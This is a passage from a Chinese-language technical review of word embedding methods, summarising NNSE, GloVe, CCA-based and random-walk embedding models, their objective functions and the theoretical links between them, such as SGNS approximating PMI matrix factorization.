<p>这篇论文的实验部分占较大篇幅,他们首先说明了共现统计采用的是正点逐互信息(PPMI),测试中NNSE算法并不是直接分解PPMI矩阵,而是先用SVD分解降维再使用NNSE,这样可以提高运算效率。然后列举了多个模型的实验结果,其中最好的是组合的SVD算法和组合的NNSE算法,“组合”是指共现计数同时包含了依赖计数(dependency counts)和文档共现计数(document co-occurrence counts)。</p>
<p>接下来是对SVD算法和NNSE算法的详细比较。分为三个实验,第一个实验是神经语义解码,通过采集测试者大脑的磁共振成像,获得特定概念在大脑中的激活点,然后看词嵌入能否与这些点线性对应起来,结果是在词嵌入维度较低的情况下SVD的表现更好,但是在维度较高的情况下SVD和NNSE的表现差不多。第二个实验是评估稀疏度,这个很显然SVD的结果是稠密的,而NNSE显著稀疏。第三个实验是评估可解释性,这里的可解释性指的是词嵌入的每个维度是否分别有特定的含义,方法是词语入侵检测。词语入侵检测数据的构造方法是,将词嵌入按照一个特定的维度排序,这个维度的值大的词排在前面,小的排在后面,然后取出排在前五的五个词和一个排在后半部分的词(入侵词),将这六个词放在一起随机打乱顺序,然后由测试者尝试挑出这六个词中的入侵词,例如一个测试数据是{bathroom, closet, attic, balcony, quickly, toilet},其中quickly是入侵词。最后比较SVD和NNSE在这项任务的准确率,结果是NNSE算法的可解释性远高于SVD。</p>
<h4 id="glove">GloVe</h4>
<p>GloVe (Pennington et al., 2014) 的本质是利用共现矩阵来确定词语的相关度,该模型同样采用了类似矩阵分解的方式,让两个词嵌入的内积接近log共现次数。与SVD和NNSE的区别在于,GloVe在训练的过程中,可以对共现矩阵中的非零元素进行随机采样,而零元素可以忽略,以达到加速的目的。</p>
<p>论文首先进行了目标函数的推导,首先从单词共现频率的统计结论出发,举例说明了共现频率可以提取词语某些方面的相关性信息。然后,变换预想函数的形式,从而每两个词嵌入的内积将尽可能接近其log共现计数。最后,他们提出了一个加权最小二乘回归模型,并引入了一个加权函数,以便每个单词对函数的贡献与其频率有关,而频率过高的单词不会对目标函数造成太大干扰。</p>
<p>论文中也对该模型的复杂度进行了分析,GloVe模型的算法复杂度取决于共现矩阵中的非零元素的个数,最坏的情况下为<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mrow><mo stretchy="true" form="prefix">(</mo><msup><mi>V</mi><mn>2</mn></msup><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">O\left( V^{2} \right)</annotation></semantics></math>。由于词汇表的数量通常很庞大,因此<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mi>V</mi><mn>2</mn></msup><annotation encoding="application/x-tex">V^{2}</annotation></semantics></math>会非常大。但是实际上单词的共现情况满足一定的分布假设(<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>X</mi><mtext mathvariant="normal">ij</mtext></msub><mo>=</mo><mfrac><mi>k</mi><msup><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>r</mi><mtext mathvariant="normal">ij</mtext></msub><mo stretchy="true" form="postfix">)</mo></mrow><mi>α</mi></msup></mfrac></mrow><annotation encoding="application/x-tex">X_{\text{ij}} = \frac{k}{\left( r_{\text{ij}} \right)^{\alpha}}</annotation></semantics></math>),所以算法复杂度较低,约为<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mrow><mo stretchy="true" form="prefix">(</mo><mrow><mo stretchy="true" form="prefix">|</mo><mi>C</mi><mo stretchy="true" form="postfix">|</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">O\left( |C| \right)</annotation></semantics></math>,其中C为语料库大小。</p>
<p>论文最后是对模型的评价,评估方法包括word analogy、word similarity和named entity recognition。具体的词嵌入评价方法和结果将在“词嵌入的性质和评价”一节讨论。</p>
<h4 id="canonical-correlation-analysis-cca">Canonical Correlation Analysis (CCA)</h4>
<p>典型相关分析(Canonical Correlation Analysis, CCA)是一种统计学的分析方法,它的目标是找出两个高维随机变量<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>=</mo><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>X</mi><mn>1</mn></msub><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>X</mi><mn>2</mn></msub><mo>,</mo><mspace width="0.222em"></mspace><mi>…</mi><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>X</mi><mi>n</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>,</mo><mspace width="0.222em"></mspace><mi>Y</mi><mo>=</mo><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>Y</mi><mn>1</mn></msub><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>Y</mi><mn>2</mn></msub><mo>,</mo><mspace width="0.222em"></mspace><mi>…</mi><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>Y</mi><mi>m</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">X = \left( X_{1},\ X_{2},\ \ldots,\ X_{n} \right),\ Y = \left( Y_{1},\ Y_{2},\ \ldots,\ Y_{m} \right)</annotation></semantics></math>的相关性,更具体地说是找到两个线性变换<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo>,</mo><mspace width="0.222em"></mspace><mi>b</mi></mrow><annotation encoding="application/x-tex">a,\ b</annotation></semantics></math>,使得两个随机标量<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi><mo>=</mo><msup><mi>a</mi><mi>T</mi></msup><mi>X</mi><mo>,</mo><mspace width="0.222em"></mspace><mi>V</mi><mo>=</mo><msup><mi>b</mi><mi>T</mi></msup><mi>Y</mi></mrow><annotation encoding="application/x-tex">U = a^{T}X,\ V = b^{T}Y</annotation></semantics></math>的相关系数最大。具体算法是用SVD分解<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><msubsup><mi>S</mi><mtext mathvariant="normal">XX</mtext><mrow><mo>−</mo><mfrac><mn>1</mn><mn>2</mn></mfrac></mrow></msubsup><msub><mi>S</mi><mtext mathvariant="normal">XY</mtext></msub><msubsup><mi>S</mi><mtext mathvariant="normal">YY</mtext><mrow><mo>−</mo><mfrac><mn>1</mn><mn>2</mn></mfrac></mrow></msubsup></mrow><annotation encoding="application/x-tex">M = S_{\text{XX}}^{- \frac{1}{2}}S_{\text{XY}}S_{\text{YY}}^{- \frac{1}{2}}</annotation></semantics></math>,其中S表示方差和协方差,然后得到最大的奇异值<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mi>ρ</mi><annotation encoding="application/x-tex">\rho</annotation></semantics></math>,和最大奇异值对应的左右奇异向量<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo>,</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">u,v</annotation></semantics></math>,那么就可求得<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo>=</mo><msubsup><mi>S</mi><mtext mathvariant="normal">XX</mtext><mrow><mo>−</mo><mfrac><mn>1</mn><mn>2</mn></mfrac></mrow></msubsup><mi>u</mi><mo>,</mo><mspace width="0.222em"></mspace><mi>b</mi><mo>=</mo><msubsup><mi>S</mi><mtext mathvariant="normal">YY</mtext><mrow><mo>−</mo><mfrac><mn>1</mn><mn>2</mn></mfrac></mrow></msubsup><mi>v</mi></mrow><annotation encoding="application/x-tex">a = S_{\text{XX}}^{- \frac{1}{2}}u,\ b = S_{\text{YY}}^{- \frac{1}{2}}v</annotation></semantics></math>。</p>
<p>Stratos et al. (2015) 将CCA用于推导词嵌入模型。他们的想法是,如果用one-hot表示单词,每个目标词看成随机变量X,每个上下文词看成随机变量Y,那么语料库中的每对共现词就是随机变量(X, Y)的样本。我们可以对这些样本进行CCA分析,得到使X和Y相关性最大的变换。上面提到CCA的算法是用SVD分解一个矩阵,经过推导,这里实际上要分解的矩阵就是</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mover><mi>Ω</mi><mo accent="true">̂</mo></mover><mrow><mi>w</mi><mo>,</mo><mi>c</mi></mrow><mrow><mo stretchy="false" form="prefix">⟨</mo><mi>a</mi><mo stretchy="false" form="postfix">⟩</mo></mrow></msubsup><mo>=</mo><mfrac><msup><mrow><mi>#</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>c</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mi>a</mi></msup><msqrt><mrow><msup><mrow><mi>#</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mi>a</mi></msup><msup><mrow><mi>#</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>c</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mi>a</mi></msup></mrow></msqrt></mfrac></mrow><annotation encoding="application/x-tex">{\widehat{\Omega}}_{w,c}^{\langle a\rangle} = \frac{{\#(w,c)}^{a}}{\sqrt{{\#(w)}^{a}{\#(c)}^{a}}}</annotation></semantics></math></p>
<p>最后还是取<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi><msup><mi>Σ</mi><mi>β</mi></msup></mrow><annotation encoding="application/x-tex">U\Sigma^{\beta}</annotation></semantics></math>作为词的表示。</p>
<p>论文中还把各种矩阵分解的词嵌入算法(spectral methods)都归结成了一个模板,这些算法都以共现计数为基础,经过不同的数据转换(transformation)和量纲(scale)调整,然后进行低秩的SVD分解,最后取<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi><msup><mi>Σ</mi><mi>β</mi></msup></mrow><annotation encoding="application/x-tex">U\Sigma^{\beta}</annotation></semantics></math>作为词嵌入。他们尝试了这些操作的多种组合,并与word2vec和GloVe模型做了对比,结果大致是:(sqrt transform + cca scaling)的组合在similarity任务上表现最好,skip-gram模型在analogy任务上表现最好,(sqrt transform + cca scaling)的组合在低维度下NER的表现最好,(log transform + no scaling)的组合在高维度下NER的表现最好。</p>
<h4 id="随机游走模型">随机游走模型</h4>
<p>Hashimoto et al. (2016) 将语言生成的过程看做是词嵌入的随机游走,从词汇i走到词汇j的概率与词嵌入在空间中的距离的对数似然成正相关。该工作的贡献可以总结为以下四点:</p>
<ul>
<li><p>将大型语料库中单词的log共现率与语义相似性评估联系起来,并表明共现率确实符合欧氏语义空间假说。首先,作者证明了词语共现的log PMI值与人类语义相似度判断是成正比的,然后作者用PMI值计算了geometric sampling (GS)模型的参数,从心理测量学角度证明了共现次数确实可以在欧氏空间中表达词语含义。</p></li>
<li><p>提出了一个随机游走模型,将语料库视为词语在欧氏空间的随机游走,每个词语产生的概率与上一个词相关,并证明了在这种模型下,当语料库和词汇表大小趋于无穷时,每对词的共现次数会趋近于<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mrow><mo stretchy="true" form="prefix">∥</mo><msub><mi>x</mi><mi>i</mi></msub><mo>−</mo><msub><mi>x</mi><mi>j</mi></msub><mo stretchy="true" form="postfix">∥</mo></mrow><mn>2</mn></msup><annotation encoding="application/x-tex">\left\| x_{i} - x_{j} \right\|^{2}</annotation></semantics></math>。</p></li>
<li><p>这个随机游走模型也为流形学习(manifold learning)提供了思路,即如果要获得一组高维向量的低维嵌入(不仅是词嵌入,也可以是图嵌入等),只要把这些高维向量连成邻接图,然后在邻接图上随机游走生成“句子”,然后在这些“句子”上用词嵌入算法即可得到低维嵌入。</p></li>
<li><p>基于随机游走模型,提出了一个词嵌入的计算方法,即共现矩阵中的每个值应该符合负二项分布,令它的期望和标准差用词嵌入的距离表示,即可得到一个最小化对数似然的模型,作者将该模型称为度量回归模型(metric regression model)。</p></li>
</ul>
<p>这篇论文的实验部分包括两部分,第一是对词嵌入效果的评价,评价指标包括analogy、sequence completion和classification,与GloVe、SVD和word2vec进行了对比,结果显示该模型(regression)和word2vec在各项测试中表现最好。第二是测试了使用词嵌入模型进行流形学习的效果,方法是在MNIST手写数字数据集上使用随机游走模型生成语料库,然后用不同的词嵌入方法(regression、GloVe、SVD和word2vec)生成二维的向量,并与四种标准的降维方法进行了对比(PCA、Isomap、SNE和t-SNE),结果显示regression的效果很好,仅次于t-SNE并优于SNE。</p>
<p>Arora et al. (2016) 的随机游走模型比Hashimoto et al. (2016) 的更泛化了一些,他是一个语义变量discourse vector的运动,每次运动都会产生一个词,选择每个词的概率与exp语义向量和词嵌入的内积成正比。在这个模型下,可以推导出词共现的概率、词频、PMI与词嵌入的关系。</p>
<p>在时刻t,假设有随机移动的语义变量<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>c</mi><mi>t</mi></msub><annotation encoding="application/x-tex">c_{t}</annotation></semantics></math>,单词<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>w</mi><mi>t</mi></msub><annotation encoding="application/x-tex">w_{t}</annotation></semantics></math>根据下式产生:</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>t</mi></msub><mo stretchy="true" form="infix">|</mo><msub><mi>c</mi><mi>t</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mfrac><mrow><mo>exp</mo><mrow><mo stretchy="true" form="prefix">(</mo><msubsup><mi>w</mi><mi>t</mi><mi>T</mi></msubsup><msub><mi>c</mi><mi>t</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mrow><munderover><mo>∑</mo><mi>w</mi><mrow></mrow></munderover><mrow><mo>exp</mo><mrow><mo stretchy="true" form="prefix">(</mo><msup><mi>w</mi><mi>T</mi></msup><msub><mi>c</mi><mi>t</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mfrac></mrow><annotation encoding="application/x-tex">p\left( w_{t} \middle| c_{t} \right) = \frac{\exp\left( w_{t}^{T}c_{t} \right)}{\sum_{w}^{}{\exp\left( w^{T}c_{t} \right)}}</annotation></semantics></math></p>
<p>有的单词概率非常大,它反映在单词嵌入w的范数上,即<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi><mo>=</mo><mi>s</mi><mo>⋅</mo><mover><mi>w</mi><mo accent="true">̂</mo></mover></mrow><annotation encoding="application/x-tex">w = s \cdot \widehat{w}</annotation></semantics></math>,其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mover><mi>w</mi><mo accent="true">̂</mo></mover><annotation encoding="application/x-tex">\widehat{w}</annotation></semantics></math>是单位球面C上的向量,s是概率变量。</p>
<p>该模型可以推导出共现概率PMI与词嵌入的关系</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>log</mo><mrow><msub><mi>p</mi><mi>q</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><mi>v</mi><mo>,</mo><mi>w</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mo>=</mo><mfrac><msup><mrow><mo stretchy="true" form="prefix">|</mo><mi>v</mi><mo>+</mo><mi>w</mi><mo stretchy="true" form="postfix">|</mo></mrow><mn>2</mn></msup><mrow><mn>2</mn><mi>d</mi></mrow></mfrac><mo>−</mo><mn>2</mn><mo>log</mo><mi>Z</mi><mo>+</mo><mo>log</mo><mfrac><mrow><mi>q</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>q</mi><mo>−</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mn>2</mn></mfrac><mo>±</mo><mi>ϵ</mi></mrow><annotation encoding="application/x-tex">\log{p_{q}(v,w)} = \frac{|v + w|^{2}}{2d} - 2\log Z + \log\frac{q(q - 1)}{2} \pm \epsilon</annotation></semantics></math></p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mtext mathvariant="normal">PMI</mtext><mi>q</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><mi>v</mi><mo>,</mo><mi>w</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mo>log</mo><mfrac><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>v</mi><mo>,</mo><mi>w</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>v</mi><mo stretchy="true" form="postfix">)</mo></mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>v</mi><mi>T</mi></msup><mi>w</mi></mrow><mi>d</mi></mfrac><mo>+</mo><mo>log</mo><mfrac><mrow><mi>q</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>q</mi><mo>−</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mn>2</mn></mfrac><mo>+</mo><mi>O</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>ϵ</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">\text{PMI}_{q}(v,w) = \log\frac{p(v,w)}{p(v)p(w)} = \frac{v^{T}w}{d} + \log\frac{q(q - 1)}{2} + O(\epsilon)</annotation></semantics></math></p>
<p>其中q是窗口大小,d是词嵌入和语义向量的维度。这个推导过程基于全概率公式。</p>
<p>基于这两个关系,文中推导出了一个Squared Norm模型,并将该模型的目标函数与GloVe和CBOW的目标函数进行了对比,发现就是将GloVe和CBOW中的一些训练参数赋予了实际含义,具体地说,就是GloVe中的偏置量<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>s</mi><mi>w</mi></msub><mo>=</mo><msup><mrow><mo stretchy="true" form="prefix">|</mo><mi>w</mi><mo stretchy="true" form="postfix">|</mo></mrow><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">s_{w} = |w|^{2}</annotation></semantics></math>,CBOW中的上下文词嵌入的均值<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><mi>K</mi></mfrac><msubsup><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><mi>K</mi></msubsup><msub><mi>w</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex">\frac{1}{K}\sum_{k = 1}^{K}w_{k}</annotation></semantics></math>是语义变量<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>c</mi><mi>t</mi></msub><annotation encoding="application/x-tex">c_{t}</annotation></semantics></math>的最大似然估计。</p>
<p>这篇论文中还解释了analogy现象(即RELATIONS=LINES)的原因:假设我们有一些关系R(例如man->king的关系),如果我们有两个词a和b满足这个关系,则我们有:</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>v</mi><mi>a</mi></msub><mo>−</mo><msub><mi>v</mi><mi>b</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mi>d</mi><mo>log</mo><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>v</mi><mi>R</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>+</mo><msubsup><mi>ζ</mi><mrow><mi>a</mi><mo>,</mo><mi>b</mi><mo>,</mo><mi>R</mi></mrow><mi>′</mi></msubsup></mrow><annotation encoding="application/x-tex">V\left( v_{a} - v_{b} \right) = d\log\left( v_{R} \right) + \zeta_{a,b,R}^{'}</annotation></semantics></math></p>
<p>当词嵌入的维度较低时,噪声项<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msubsup><mi>ζ</mi><mrow><mi>a</mi><mo>,</mo><mi>b</mi><mo>,</mo><mi>R</mi></mrow><mi>′</mi></msubsup><annotation encoding="application/x-tex">\zeta_{a,b,R}^{'}</annotation></semantics></math>会减小,此时向量差就可以表示关系R。</p>
<p>论文中的实验分为三部分,第一部分验证了文中推导的一些结论,如partition function的分布情况、奇异值的各向同性、词频与词嵌入长度的线性关系。第二部分是测试词嵌入在analogy任务上的性能,结论是与GloVe和word2vec相当。第三部分是测试RELATIONS=LINES的关系方向(RD)是否存在,通过奇异值运算验证了这一点,并利用RD优化了analogy的性能。</p>
<h3 id="词嵌入模型的关联">词嵌入模型的关联</h3>
<p>上面介绍的词嵌入模型虽然目标和方法不同,但是在相应的论文中或后来也有人讨论过这些模型的关联,我们在这里描述一下。</p>
<h4 id="向量内积与向量的和差的平方">向量内积与向量的和、差的平方</h4>
<p>在模型的目标函数和推导过程中常常会出现两个向量的内积、和的平方、差的平方,这三者形式不同,但是实际上只相差系数和bias,即</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mrow><mo stretchy="true" form="prefix">|</mo><msub><mi>v</mi><mn>1</mn></msub><mo>+</mo><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="true" form="postfix">|</mo></mrow><mn>2</mn></msup><mo>=</mo><msup><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>v</mi><mn>1</mn></msub><mo>+</mo><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="true" form="postfix">)</mo></mrow><mn>2</mn></msup><mo>=</mo><mn>2</mn><msub><mi>v</mi><mn>1</mn></msub><mo>⋅</mo><msub><mi>v</mi><mn>2</mn></msub><mo>+</mo><msubsup><mi>v</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><msubsup><mi>v</mi><mn>2</mn><mn>2</mn></msubsup></mrow><annotation encoding="application/x-tex">\left| v_{1} + v_{2} \right|^{2} = \left( v_{1} + v_{2} \right)^{2} = 2v_{1} \cdot v_{2} + v_{1}^{2} + v_{2}^{2}</annotation></semantics></math></p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mrow><mo stretchy="true" form="prefix">|</mo><msub><mi>v</mi><mn>1</mn></msub><mo>−</mo><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="true" form="postfix">|</mo></mrow><mn>2</mn></msup><mo>=</mo><msup><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>v</mi><mn>1</mn></msub><mo>−</mo><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="true" form="postfix">)</mo></mrow><mn>2</mn></msup><mo>=</mo><mo>−</mo><mn>2</mn><msub><mi>v</mi><mn>1</mn></msub><mo>⋅</mo><msub><mi>v</mi><mn>2</mn></msub><mo>+</mo><msubsup><mi>v</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><msubsup><mi>v</mi><mn>2</mn><mn>2</mn></msubsup></mrow><annotation encoding="application/x-tex">\left| v_{1} - v_{2} \right|^{2} = \left( v_{1} - v_{2} \right)^{2} = - 2v_{1} \cdot v_{2} + v_{1}^{2} + v_{2}^{2}</annotation></semantics></math></p>
<p>其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msubsup><mi>v</mi><mn>1</mn><mn>2</mn></msubsup><annotation encoding="application/x-tex">v_{1}^{2}</annotation></semantics></math>和<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msubsup><mi>v</mi><mn>2</mn><mn>2</mn></msubsup><annotation encoding="application/x-tex">v_{2}^{2}</annotation></semantics></math>可以分别看成是与<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>v</mi><mn>1</mn></msub><annotation encoding="application/x-tex">v_{1}</annotation></semantics></math>和<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>v</mi><mn>2</mn></msub><annotation encoding="application/x-tex">v_{2}</annotation></semantics></math>相关的bias。</p>
<h4 id="一些相关性的结论">一些相关性的结论</h4>
<p>有些论文中分析了它的模型与一些常见模型的关系,还有一些专门分析相关性的研究,这里列举一些结论。</p>
<p>一个很经典的结论就是,skip-gram + negative sampling (SGNS) 是对PMI矩阵分解的一种可能的逼近 (Levy et al., 2014),即</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover><msub><mi>w</mi><mi>i</mi></msub><mo accent="true">→</mo></mover><mo>⋅</mo><mover><msub><mi>c</mi><mi>j</mi></msub><mo accent="true">→</mo></mover><mo>=</mo><mi>P</mi><mi>M</mi><mi>I</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>i</mi></msub><mo>,</mo><msub><mi>c</mi><mi>j</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>−</mo><mo>log</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">\overrightarrow{w_{i}} \cdot \overrightarrow{c_{j}} = PMI\left( w_{i},c_{j} \right) - \log k</annotation></semantics></math></p>
<p>其中k是负采样的个数。也就是说,如果目标词嵌入w和上下文词嵌入c的维度都足够大,当负采样的个数为1时,两个词嵌入的乘积就近似于这两个词的PMI,当负采样的个数大于1时,两个词嵌入的乘积就近似于这两个词的PMI减去一个偏移量。</p>
<p>这个结论也启发我们或许可以直接将PMI矩阵或PMI矩阵的某种分解作为一种词嵌入。因为PMI矩阵本身有缺陷(稠密、有负无穷大值),所以需要先做一个近似变换,论文中提出了SPPMI的概念</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mtext mathvariant="normal">SPPMI</mtext><mi>k</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>c</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mo>max</mo><mrow><mo stretchy="true" form="prefix">(</mo><mtext mathvariant="normal">PMI</mtext><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>c</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>−</mo><mo>log</mo><mi>k</mi><mo>,</mo><mn>0</mn><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">\text{SPPMI}_{k}(w,c) = \max\left( \text{PMI}(w,c) - \log k,0 \right)</annotation></semantics></math></p>
<p>至于分解方法,论文中尝试了SVD,并对比了它与SGNS在不同任务上的效果。实际上,最后的结果表明,SPPMI确实能比较好地近似PMI,也就是说它能较好地优化目标函数。但是在分解后,SVD方法在k较大的情况优化程度不如SGNS。在similarity和analogy两个语言任务上,直接使用SPPMI或用SVD分解SPPMI表现也不一定比SGNS更好,作者认为这可能是因为SGNS能重点优化高频词的表示,忽略少量低频词对模型的影响,而SVD对矩阵中每个值的处理权重是相同的。</p>
<p>还有一个结论,Latent Variable Model (Squared Norm, SN) (Arora et al., 2016) 的目标函数与GloVe是相似的,仅系数、偏置和高阶项有差别。</p>
<h4 id="目标函数总结">目标函数总结</h4>
<p>这里将多篇论文的模型和目标函数列举出来进行对比,为了方便比较,一些目标函数的形式与论文中给出的形式不同,但是含义是相同的。</p>
<table>
<thead>
<tr>
<th>
模型
</th>
<th>
目标函数
</th>
<th>
类型
</th>
<th>
方法
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
NNLM
</td>
<td>
<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>max</mo><mrow><mfrac><mn>1</mn><mi>T</mi></mfrac><msubsup><mo>∑</mo><mi>t</mi><mrow></mrow></msubsup><mrow><mo>log</mo><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>t</mi></msub><mo stretchy="false" form="prefix">|</mo><msubsup><mi>w</mi><mrow><mi>t</mi><mo>−</mo><mi>n</mi><mo>+</mo><mn>1</mn></mrow><mrow><mi>t</mi><mo>−</mo><mn>1</mn></mrow></msubsup><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mo>+</mo><mi>R</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>θ</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mrow><annotation encoding="application/x-tex">\max{\frac{1}{T}\sum_{t}^{}{\log{p\left( w_{t}|w_{t - n + 1}^{t - 1} \right)} + R(\theta)}}</annotation></semantics></math>
</td>
<td rowspan="6">
语言模型
</td>
<td rowspan="6">
神经网络
</td>
</tr>
<tr>
<td>
C&W
</td>
<td>
<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>min</mo><mrow><msubsup><mo>∑</mo><mrow><mi>s</mi><mo>∈</mo><mi>S</mi></mrow><mrow></mrow></msubsup><mrow><msubsup><mo>∑</mo><mrow><mi>w</mi><mo>∈</mo><mi>D</mi></mrow><mrow></mrow></msubsup><mrow><mo>max</mo><mrow><mo stretchy="true" form="prefix">(</mo><mn>0</mn><mo>,</mo><mn>1</mn><mo>−</mo><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>s</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>+</mo><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><msup><mi>s</mi><mi>w</mi></msup><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mrow></mrow><annotation encoding="application/x-tex">\min{\sum_{s \in S}^{}{\sum_{w \in D}^{}{\max\left( 0,1 - f(s) + f\left( s^{w} \right) \right)}}}</annotation></semantics></math>
</td>
</tr>
<tr>
<td>
Global Context-Aware NLM
</td>
<td>
